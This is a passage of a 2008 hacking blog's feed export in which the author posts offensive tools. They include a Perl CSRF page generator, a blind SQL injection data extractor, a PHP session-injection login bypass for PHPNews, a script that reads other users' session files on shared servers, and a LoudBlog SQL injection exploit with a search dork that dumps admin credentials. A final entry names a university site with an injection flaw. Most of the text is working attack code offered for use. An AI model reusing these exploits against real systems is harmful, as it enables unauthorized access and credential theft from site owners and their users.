type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1107236840659835038' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1107236840659835038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1107236840659835038'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/tool-for-smf-testing.html' title='Tool For SMF Testing'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8513824843661866323</id><published>2008-11-01T17:08:00.000-07:00</published><updated>2008-11-01T17:10:54.482-07:00</updated><title type='text'>XSRF Generator By Xianur0</title><content type='html'>&lt;span style="font-weight:bold;"&gt;mmm el hijo prodigio?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#By Xianur0&lt;br /&gt;#uxmal666[at]gmail.com&lt;br /&gt;  use HTML::Parser;&lt;br /&gt;$i = 1;&lt;br /&gt;$b = 1;&lt;br /&gt;my $parser = HTML::Parser-&amp;gt;new(api_version=&amp;gt;3,&lt;br /&gt;start_h=&amp;gt;[\&amp;parsear, 'tag, attr'] ,);&lt;br /&gt;print "\n\n                                       Generador XSRF By Xianur0\n\n\n";&lt;br /&gt;&lt;br /&gt;$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");&lt;br /&gt;&lt;br /&gt;open(FILE,$file) || die "No pudo abrirse: $!";&lt;br /&gt;while(&amp;lt;FILE&amp;gt;) {&lt;br /&gt;$html.= $_;&lt;br /&gt;}&lt;br /&gt;print "\nBuscando Campos....\n";&lt;br /&gt;sub parsear {&lt;br /&gt;     my ($tag, $attr) = @_;&lt;br /&gt;if($tag =~ "form") {&lt;br /&gt;$name = $attr-&amp;gt;{"name"};&lt;br /&gt;if($name eq "") { $name = "campo" }&lt;br /&gt;$valor = $attr-&amp;gt;{"action"};&lt;br /&gt;$metodo = $attr-&amp;gt;{"method"};&lt;br /&gt;if($metodo eq "") { $metodo = "GET"}&lt;br /&gt;print "\nFormulario ".$b.": ".$name."=&amp;gt;".$valor."=&amp;gt;".$metodo."\n";&lt;br /&gt;    $form{$b} = [$name, $metodo];&lt;br /&gt;$b++;&lt;br /&gt;}&lt;br /&gt;if($tag =~ "input") {&lt;br /&gt;$name = $attr-&amp;gt;{"name"};&lt;br /&gt;$valor = $attr-&amp;gt;{"value"};&lt;br /&gt;print "Campo ".$i.": ".$name."=&amp;gt;".$valor."\n";&lt;br /&gt;    $input{$i} = [$name, $valor];&lt;br /&gt;$i++;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;$parser-&amp;gt;parse($html);&lt;br /&gt;print "\nTerminado Archivo Parseado!..\n\n";&lt;br /&gt;print "\nEscribe el Formulario a utilizar:\n";&lt;br /&gt;$forma=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($forma);&lt;br /&gt;print "Cuantos Campos(input) utilizara?\n";&lt;br /&gt;$cantidad=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($cantidad);&lt;br /&gt;for($o=1;$o&amp;lt;=$cantidad;$o++)&lt;br /&gt;{&lt;br /&gt;print "Formulario $o?\n";&lt;br /&gt;$inputa=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($inputa);&lt;br /&gt;print "Desea Cambiar el Value? [y/n]\n";&lt;br /&gt;$respuesta=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($respuesta);&lt;br /&gt;if($respuesta eq "y") { &lt;br /&gt;print "Escriba el Nuevo Valor:\n";&lt;br /&gt;$valu=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($valu);&lt;br /&gt;} else { $valu = $input{$inputa}[1]; }&lt;br /&gt;$campos .='&amp;lt;input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'"&amp;gt;';&lt;br /&gt;}&lt;br /&gt;print "Url Submit?\n";&lt;br /&gt;$url=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($url);&lt;br /&gt;print "Generando XSRF Espere Por Favor...\n";&lt;br /&gt;$xsrf = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;!-- XSRF Generator By Xianur0 --&amp;gt;&lt;br /&gt;&amp;lt;form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'"&amp;gt;'.$campos.'&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;document.'.$form{$forma}[0].'.submit()&amp;lt;/script&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;/body&amp;gt;';&lt;br /&gt;open(LECTURA,"&amp;gt;&amp;gt; xsrf.htm") || die "No pudo abrirse: $!";&lt;br /&gt;print LECTURA $xsrf;&lt;br /&gt;close(LECTURA);&lt;br /&gt;print "\n\nGenerado!: xsrf.html\n\n";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8513824843661866323?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8513824843661866323/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8513824843661866323' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8513824843661866323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8513824843661866323'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/xsrf-generator-by-xianur0.html' title='XSRF Generator By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4113223076378806427</id><published>2008-11-01T17:02:00.000-07:00</published><updated>2008-11-06T15:06:31.011-08:00</updated><title type='text'>Simplifier Blind SQL Injection By Xianur0</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;div style="text-align: center;" id="result_box" dir="ltr"&gt;&lt;div id="result_box" dir="ltr"&gt;&lt;span style="font-weight: bold;"&gt;English:&lt;/span&gt; This tool converts Bug Blind SQL Injection in a SQL Injection ordinary and gives you data output that is not limited only to Boolean jaja&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Spanish:&lt;/span&gt; Esta tool simplemente convierte los bugs Blind SQL Injection en SQL Injection comunes y te da salida de datos que no solo se limitan a booleanos jejejejeje.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Una Obra Maestra :P&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;A Masterpiece :P&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#Xianur0 CYS # perl injector.pl http://www.vuln.com/vuln.php?id=1&lt;br /&gt;#&lt;br /&gt;#Blind SQL Injection converter to SQL Injection&lt;br /&gt;#&lt;br /&gt;#Please Have Patience, running.........&lt;br /&gt;#pma@localhost&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#Finished!&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;&lt;br /&gt;  use LWP::UserAgent;&lt;br /&gt;$debugmode = "false";&lt;br /&gt;  $ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;  $ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");&lt;br /&gt;$url = $ARGV[0] || die("Use: SQL.pl [URI]\nExample: sql.pl http://www.vuln.com/vuln.php?id=1\n");&lt;br /&gt;print "\nBlind SQL Injection converter to SQL Injection By Xianur0\n\n";&lt;br /&gt;print "\nEnter the SQL Injection please:\n";&lt;br /&gt;$sql=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($sql);&lt;br /&gt;print "\nEnter the Detector please:\n";&lt;br /&gt;$detector=&amp;lt;STDIN&amp;gt;;&lt;br /&gt;chop($detector);&lt;br /&gt;print "\nPlease Have Patience, running.........\n";&lt;br /&gt;$caracter = 1;&lt;br /&gt;$i=0;&lt;br /&gt;$simbolo = "&amp;gt;";&lt;br /&gt;while($caracter ne "finito") {&lt;br /&gt;if($debugmode eq "true") { print $url.'/**/AND/**/ascii(substring(('.$sql.'),'.$caracter.',1))/**/'.$simbolo.'/**/'.$i."\n";}&lt;br /&gt;  $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/**/AND/**/ascii(substring(('.$sql.'),'.$caracter.',1))/**/'.$simbolo.'/**/'.$i);&lt;br /&gt;  $req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;  $res = $ua-&amp;gt;request($req);&lt;br /&gt;  if ($res-&amp;gt;is_success) {&lt;br /&gt;     if($res-&amp;gt;content !~ $detector) {&lt;br /&gt;if($base eq $i) { print chr($i); $caracter++; $i=0; $simbolo = "&amp;gt;";}&lt;br /&gt;$base = $i;&lt;br /&gt;$i = $i+10;&lt;br /&gt;} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}&lt;br /&gt;}&lt;br /&gt;  } else {&lt;br /&gt;     print "\nError detected in HTTP requests: " . $res-&amp;gt;status_line . "!\n";&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "\nFinished!\n";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4113223076378806427?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4113223076378806427/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4113223076378806427' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4113223076378806427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4113223076378806427'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/blind-sql-injection-converter-to-sql.html' title='Simplifier Blind SQL Injection By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8767266221769453723</id><published>2008-10-25T17:22:00.001-07:00</published><updated>2008-10-25T17:25:13.524-07:00</updated><title type='text'>[Paper] Insecurity in PHP sessions By Xianur0</title><content type='html'>&lt;span style="font-weight: bold;"&gt;[Paper] Insecurity in PHP sessions By Xianur0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The sessions as its name says are user sessions (contain any information or ID of the user). The sessions being used on a shared server can be very serious security flaws, namely those sessions can be used for certain kinds of attacks, including a data mining (search for useful information) for example, if we go to the temporary directory used by PHP to store sessions (almost always is / tmp /) you can find sessions like this:&lt;br /&gt;&lt;br /&gt;user|s:5:"admin";password|s:11:"mipassword";&lt;br /&gt;&lt;br /&gt;where is the user name of the first session, 5 is the id and admin is the content, with the same password (second session).&lt;br /&gt;&lt;br /&gt;Now we already have a username and a password.&lt;br /&gt;&lt;br /&gt;Also, many developers overlook the possibility of Injection data sessions as the example below:&lt;br /&gt;&lt;br /&gt;Vulnerable code (PHPNews 1.3):&lt;br /&gt;&lt;br /&gt;if((isset($_POST['user']) &amp;amp;&amp;amp; isset($_POST['password'])) || (isset($_SESSION['user']) &amp;amp;&amp;amp; isset($_SESSION['password'])))&lt;br /&gt;{&lt;br /&gt; if(isset($_SESSION['user']) &amp;amp;&amp;amp; isset($_SESSION['password']))&lt;br /&gt; {&lt;br /&gt;   $in_user = $_SESSION['user'];&lt;br /&gt;   $in_password = $_SESSION['password'];&lt;br /&gt; }&lt;br /&gt; else if(isset($_POST['user']) &amp;amp;&amp;amp; isset($_POST['password']))&lt;br /&gt; {&lt;br /&gt;   if (!get_magic_quotes_gpc())&lt;br /&gt;   {&lt;br /&gt;     $in_user = addslashes($_POST['user']);&lt;br /&gt;     $in_password = addslashes($_POST['password']);&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;     $in_user = $_POST['user'];&lt;br /&gt;     $in_password = $_POST['password'];&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; $result = mysql_query('SELECT * FROM ' . $db_prefix . 'posters WHERE username = \'' . $in_user . '\' AND password = password(\'' . $in_password . '\')');&lt;br /&gt; $dbQueries++;&lt;br /&gt; if(mysql_numrows($result) != 0)&lt;br /&gt; {&lt;br /&gt;   $auth = true;&lt;br /&gt;   $_SESSION['user'] = $in_user;&lt;br /&gt;   $_SESSION['password'] = $in_password;&lt;br /&gt; }&lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;   $bad_details = true;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit Bypass through sessions:&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;session_start();&lt;br /&gt;$_SESSION["user"] = "' OR '1'='1";&lt;br /&gt;$_SESSION["password"] = "') OR ('1'='1";&lt;br /&gt;print "Cookie Master: &amp;lt;br&amp;gt;\nPHPSESSID=".$_COOKIE['PHPSESSID']."&amp;lt;br&amp;gt;\n";&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;the sessions are not filtered, therefore you can set up these sessions and Injection data, the exploit to schedule (above) only works if the php is using the same route of the sessions that PHPNews.&lt;br /&gt;&lt;br /&gt;Although the safemode and this can not be bypassed directories, almost always used the same route on a temporary server for everything. So the sessions can be generated without regard to the security mechanisms that are used (enjoyable clear change the temporary directory to a free reading by another user on the same server and is completely filtering the sessions).&lt;br /&gt;&lt;br /&gt;But can be read by the sessions that are held as temporary files and directories that time spent almost always reading for all users of that server.&lt;br /&gt;&lt;br /&gt;You can also obtain the content of the sessions when you can not read the files directly:&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;@session_start();&lt;br /&gt;foreach ($_SESSION as $name =&amp;gt; $valor)&lt;br /&gt;{&lt;br /&gt;print "&amp;lt;b&amp;gt;Name:&amp;lt;/b&amp;gt; $name\n&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Value:&amp;lt;/b&amp;gt; $valor\n&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;";&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;PHP opens the temporary directory of sessions with the call to the global variable $_SESSION (that is not filtered in safemode), so we give the value of the sessions (the code that travels the HTTP is only a reference to the file session on the server) whatever the domain (you can specify the directory of sessions with the function session_save_path()).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I wrote a tool to automate this process:&lt;br /&gt;&lt;br /&gt;http://xianur0.blogspot.com/2008/10/session-master-by-xianur0.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8767266221769453723?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8767266221769453723/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8767266221769453723' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8767266221769453723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8767266221769453723'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/paper-insecurity-of-php-sessions-by.html' title='[Paper] Insecurity in PHP sessions By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7915759563433650733</id><published>2008-10-25T16:55:00.000-07:00</published><updated>2008-10-25T17:19:37.485-07:00</updated><title type='text'>Session Master By Xianur0</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;title&amp;gt;Session Master By Xianur0&amp;lt;/title&amp;gt;&amp;lt;BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0&amp;gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Session Master By Xianur0&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;script type="text/Javascript"&amp;gt;function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;.posthidden {display:none} .postshown {display:inline}&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;@session_start();&lt;br /&gt;function buscar() {&lt;br /&gt;$tmp = @session_save_path();&lt;br /&gt;print "&amp;lt;b&amp;gt;Directory of sessions: $tmp\n&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;";&lt;br /&gt;$dir = @opendir($tmp);&lt;br /&gt;while ($session = @readdir($dir))&lt;br /&gt;{&lt;br /&gt;if(eregi("sess_",$session)) {&lt;br /&gt;$gestor = @fopen("$tmp/$session", "r");&lt;br /&gt;$contenido = @fread($gestor, filesize("$tmp/$session"));&lt;br /&gt;$contenido = @eregi_replace(';', ";\n&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Session: ", $contenido);&lt;br /&gt;fclose($gestor);&lt;br /&gt;echo "&amp;lt;br&amp;gt;".$session."&amp;lt;br&amp;gt;\n";&lt;br /&gt;$i++;&lt;br /&gt;echo '&amp;lt;a href="javascript:expandcollapse('.$i.')"&amp;gt;Show/Hide Code&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span class="posthidden" id="'.$i.'"&amp;gt;&lt;br /&gt;&amp;lt;br/&amp;gt;&amp;lt;table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Session: '.$contenido.'&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;';&lt;br /&gt;}&lt;br /&gt;}}&lt;br /&gt;function definir() {&lt;br /&gt;$name = $_POST['name'];&lt;br /&gt;$contenido = $_POST['valor'];&lt;br /&gt;$_SESSION[$name] = $contenido;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function definidos() {&lt;br /&gt;foreach ($_SESSION as $name =&amp;gt; $valor)&lt;br /&gt;{&lt;br /&gt;print "&amp;lt;b&amp;gt;Name:&amp;lt;/b&amp;gt; $name\n&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Value:&amp;lt;/b&amp;gt; $valor\n&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function menu() {&lt;br /&gt;$uri = $_SERVER['REQUEST_URI'];&lt;br /&gt;print "&amp;lt;h2&amp;gt;Define SESSION&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;lt;form action='".$uri."?&amp;action=definir' method='POST'&amp;gt;Name: &amp;lt;input type='text' name='name'&amp;gt;&amp;lt;br&amp;gt;Value: &amp;lt;input type='text' name='valor'&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type='submit' value='Set!'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;h2&amp;gt;Information:&amp;lt;/h2&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href='$uri?&amp;action=definidos'&amp;gt;Defined Sessions&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href='$uri?&amp;action=buscar'&amp;gt;Sessions On The Server&amp;lt;/a&amp;gt;&amp;lt;b&amp;gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$action = $_GET['action'];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;switch ($action) {&lt;br /&gt;    case buscar:&lt;br /&gt;        buscar();&lt;br /&gt;        break;&lt;br /&gt;    case definir:&lt;br /&gt;        definir();&lt;br /&gt;        break;&lt;br /&gt;    case definidos:&lt;br /&gt;        definidos();&lt;br /&gt;        break;&lt;br /&gt;    default:&lt;br /&gt;        menu();&lt;br /&gt;        break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7915759563433650733?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7915759563433650733/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7915759563433650733' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7915759563433650733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7915759563433650733'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/session-master-by-xianur0.html' title='Session Master By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7049520436210565779</id><published>2008-10-22T14:30:00.001-07:00</published><updated>2008-10-22T15:13:22.301-07:00</updated><title type='text'>LoudBlog SQL Injection Exploit All Versions</title><content type='html'>&lt;span style="font-weight: bold;"&gt;This Exploit requires a valid user name and password of an account regardless of the permissions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Author: &lt;/span&gt;Xianur0&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Affected: &lt;/span&gt;All Versions&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bug:&lt;/span&gt; SQL Injection&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Doorks:&lt;/span&gt;&lt;br /&gt;allintext: "powered by LoudBlog"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exploit:&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use HTTP::Request::Common qw(POST);&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use Digest::MD5 qw(md5_hex);&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;&lt;br /&gt;print "\n             LoudBlog Exploit All Version By Xianur0\n\n";&lt;br /&gt;$uri = $ARGV[0];&lt;br /&gt;$id = $ARGV[1];&lt;br /&gt;$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");&lt;br /&gt;$md5 = md5_hex($ARGV[2]).":".md5_hex($password);&lt;br /&gt;&lt;br /&gt;my $req = POST $uri.'/loudblog/ajax.php',&lt;br /&gt;              [ colpick =&amp;gt; "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick =&amp;gt; "id", rowval =&amp;gt; $id, table =&amp;gt; 'authors', action =&amp;gt; 'singleread'];&lt;br /&gt;$req-&amp;gt;header('User-Agent' =&amp;gt; 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17');&lt;br /&gt;$req-&amp;gt;header('Cookie' =&amp;gt; 'lbauth='.$md5);&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;print $res-&amp;gt;content."\n";&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bug:&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt; //which row do we manipulate?&lt;br /&gt; $rowpick = "";&lt;br /&gt; if (isset($p['rowpick'])) $rowpick = $p['rowpick'];&lt;br /&gt; $rowval = "";&lt;br /&gt; if (isset($p['rowval'])) $rowval = $p['rowval'];&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; //which column do we manipulate or read?&lt;br /&gt; $colpick = "";&lt;br /&gt; if (isset($p['colpick'])) $colpick = $p['colpick'];&lt;br /&gt; $colval = "";&lt;br /&gt; if (isset($p['colval'])) $colval = $p['colval'];&lt;br /&gt; if (isset($p['makehtml'])) $colval = makehtml($p['colval']);&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; // do the request action!!&lt;br /&gt; &lt;br /&gt; if ($p['action'] == "singleread") {&lt;br /&gt;  $dosql = "SELECT ".$colpick." FROM ". $table." WHERE ".$rowpick." = '".$rowval."'";&lt;br /&gt;  $return = $GLOBALS['lbdata']-&amp;gt;GetArray($dosql);&lt;br /&gt;  echo $return[0][$colpick];&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7049520436210565779?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7049520436210565779/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7049520436210565779' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7049520436210565779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7049520436210565779'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/loudblog-sql-injection-exploit-all.html' title='LoudBlog SQL Injection Exploit All Versions'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3695827697042905771</id><published>2008-10-20T18:01:00.000-07:00</published><updated>2008-10-20T18:05:48.487-07:00</updated><title type='text'>Princeton Blind SQL Injection</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Reporte el bug al admin, y le prometí que no lo diría hasta haberlo corregido:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/&lt;br /&gt;&lt;br /&gt;(metan en google la búsqueda: astro.princeton.edu/mrbs&lt;br /&gt;y verán que CMs usaba jejeje)&lt;br /&gt;&lt;br /&gt;Mensaje:&lt;br /&gt;&lt;br /&gt;Good evening, my nickname is 